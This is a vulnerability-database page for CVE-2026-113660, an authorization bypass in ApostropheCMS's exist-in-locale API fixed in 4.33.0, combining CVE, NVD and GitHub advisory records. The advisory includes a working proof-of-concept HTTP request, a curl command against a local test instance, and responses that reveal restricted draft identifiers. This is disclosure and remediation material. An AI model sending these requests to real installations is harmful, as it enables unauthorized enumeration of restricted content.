Vulnerability-Lookup

CVE-2026-113660 (GCVE-0-2026-113660)

Vulnerability from cvelistv5 – Published: 2026-10-20 17:04 – Updated: 2026-10-20 17:43

Title

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Summary

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-20 17:43 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7654 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: < 4.33.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-113660",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T17:43:34.622460Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-20T17:43:51.404Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.33.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS\u2019s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T17:04:06.548Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
        }
      ],
      "source": {
        "advisory": "GHSA-vmxh-77cw-65j7",
        "discovery": "UNKNOWN"
      },
      "title": "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-113660",
    "datePublished": "2026-10-20T17:04:06.548Z",
    "dateReserved": "2026-10-20T14:27:46.641Z",
    "dateUpdated": "2026-10-20T17:43:51.404Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "apostrophe",
                "vendor": "apostrophecms",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 4.33.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS\u2019s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0."
          }
        ],
        "id": "CVE-2026-113660",
        "lastModified": "2026-10-20T19:53:10.247",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-113660",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T17:43:34.622460Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-20T18:17:19.420",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-113660",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-20T17:43:34.622460Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-20T17:43:44.961Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "apostrophe",
              "vendor": "apostrophecms",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 4.33.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS\u2019s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862: Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-20T17:04:06.548Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
            },
            {
              "name": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
            },
            {
              "name": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
            },
            {
              "name": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
            }
          ],
          "source": {
            "advisory": "GHSA-vmxh-77cw-65j7",
            "discovery": "UNKNOWN"
          },
          "title": "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-113660",
        "datePublished": "2026-10-20T17:04:06.548Z",
        "dateReserved": "2026-10-20T14:27:46.641Z",
        "dateUpdated": "2026-10-20T17:43:51.404Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-113660

Vulnerability from fkie_nvd - Published: 2026-10-20 18:17 - Updated: 2026-10-20 19:53

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.33.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS\u2019s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0."
    }
  ],
  "id": "CVE-2026-113660",
  "lastModified": "2026-10-20T19:53:10.247",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-113660",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-20T17:43:34.622460Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-20T18:17:19.420",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-VMXH-77CW-65J7

Vulnerability from github – Published: 2026-10-20 18:19 – Updated: 2026-10-20 18:19

Summary

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Details

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route:POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

Request	Result
Normal page API for the restricted draft	`403 Forbidden`
`exist-in-locale` for the same restricted draft	`200 OK` with localized document ID
`exist-in-locale` for a nonexistent ID	`200 OK` with empty arrays

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:

Query	Result
`locale=fr`, `mode=draft`	Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft`
`locale=fr`, `mode=published`	Returned empty arrays because no published fixture existed
`locale=de`, `mode=draft`	Returned empty arrays because no German fixture existed
Two IDs in one request	Existing ID returned; nonexistent ID omitted

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529

[2] Official ApostropheCMS i18n API documentation

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:19:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**Summary**\nApostropheCMS\u2019s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n  throw self.apos.error(\u0027notfound\u0027);\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n  aposLocale: `${locale}:${mode}`,\n  aposDocId: {\n    $in: ids.map(self.apos.doc.toAposDocId)\n  }\n}).project({\n  _id: 1,\n  aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission(\u0027view\u0027)\n.permission(\u0027edit\u0027)\napos.permission.criteria(req, \u0027view\u0027)\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-guest-session\u003e\nContent-Type: application/json\nAccept: application/json\n\n{\n  \"ids\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n    \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n  ],\n  \"locale\": \"fr\",\n  \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n  \u0027http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale\u0027 \\\n  -b /path/to/redacted-guest-cookie-jar.txt \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json\u0027 \\\n  --data-raw \u0027{\n    \"ids\": [\n      \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n      \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n    ],\n    \"locale\": \"fr\",\n    \"mode\": \"draft\"\n  }\u0027\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n  \"originalLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n  ],\n  \"newLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n  ],\n  \"aposDocIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz\"\n  ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-guest-session\u003e\nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n  \"name\": \"forbidden\",\n  \"data\": {},\n  \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request                                         | Result                              |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft        | `403 Forbidden`                     |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID          | `200 OK` with empty arrays          |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query                         | Result                                                     |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft`     | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft`               |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft`     | Returned empty arrays because no German fixture existed    |\n| Two IDs in one request        | Existing ID returned; nonexistent ID omitted               |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester\u2019s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source \u2014 existInLocale handler, lines 503\u2013529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)",
  "id": "GHSA-vmxh-77cw-65j7",
  "modified": "2026-10-20T18:19:34Z",
  "published": "2026-10-20T18:19:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-113660 (GCVE-0-2026-113660)

FKIE_CVE-2026-113660

GHSA-VMXH-77CW-65J7

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour